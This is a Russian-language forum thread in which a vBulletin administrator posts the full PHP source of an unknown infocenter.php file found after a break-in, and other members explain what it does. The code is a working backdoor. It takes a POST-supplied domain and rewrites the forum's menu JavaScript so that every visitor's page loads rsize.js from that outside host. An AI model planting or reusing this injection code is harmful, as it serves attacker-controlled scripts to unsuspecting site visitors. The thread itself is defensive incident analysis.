[3.8.x]

Несколько месяцев назад был взломан форум (ну, не настолько уж страшно все оказалось, управился быстро), но при ревизии логов натнулся на интересный error касательно infocenter.php при том, что этого хака у меня нет.

Глянул сам файл

PHP Code:

<?php
if (isset($_POST['new_domain'])) {
$file = '/var/www/***/photoshopia.ru/clientscript/vbulletin_menu.js';
$new_domain = $_POST['new_domain'];

function MoveFileContentDrop ($file,$new_link) {
$this_file = file_get_contents($file);
  if (preg_match_all('#domain=\'([a-z0-9\.]+)#si', $this_file, $match))
  {
      $this_file = str_replace($match[1][0], $new_link, $this_file);
      if (file_put_contents($file,$this_file)){
                        return 1;
      }
          else
                return 0;
  }
  else{
    $this_file = $this_file."\nvar domain='$new_link';\ndocument.write('<script src=\"http://'+domain+'/rsize.js\"></scr'+'ipt>');";
    if (file_put_contents($file,$this_file)){
         return 1;
      }
          else
                return 0;
  }
}
MoveFileContentDrop($file,$new_domain);
exit(0);
}
?>

и сильно озадачился. Как ни крути, записать он все равно ничего не может хотя бы по правам () но смысл этой манипуляции?
Ну передается новый домен через параметр, и дальше-то чего?

Замена ссылок в меню на левый домен или что? То ли лыжи у меня сегодня не едут.. Не возьму в толк. Кто подскажет?

Originally Posted by Gostemilov

Глянул сам файл

а что за файл то?

Я ж писал выше - /forum/infocenter.php, явно должен иметь отношение к хаку LaCN Infocenter, но этого хака у меня нет вообще

а...
я этот момент пропустил, думал, что файл какой то левый на серваке нашел
ок, суть функции в том, что заменяет контент указанного в переменной $file файла на содержимое своего файла, который передается в пост запросе
а в яваскрипте можно уместить нехилую пачку вирусов
скрипт не сможет записать новый файл, но сможет ли изменить содержимое в существующем, хз, нужно тестировать в среде линуха с правами линуха а не винды, винда по любому сделает либо то либо другое

кстати, файла infocenter.php нет ни в оригинальном хаке с "орга", ни в архиве из темы хака у нас на форуме

Ну, собсно, это я и хотел знать. Спасибо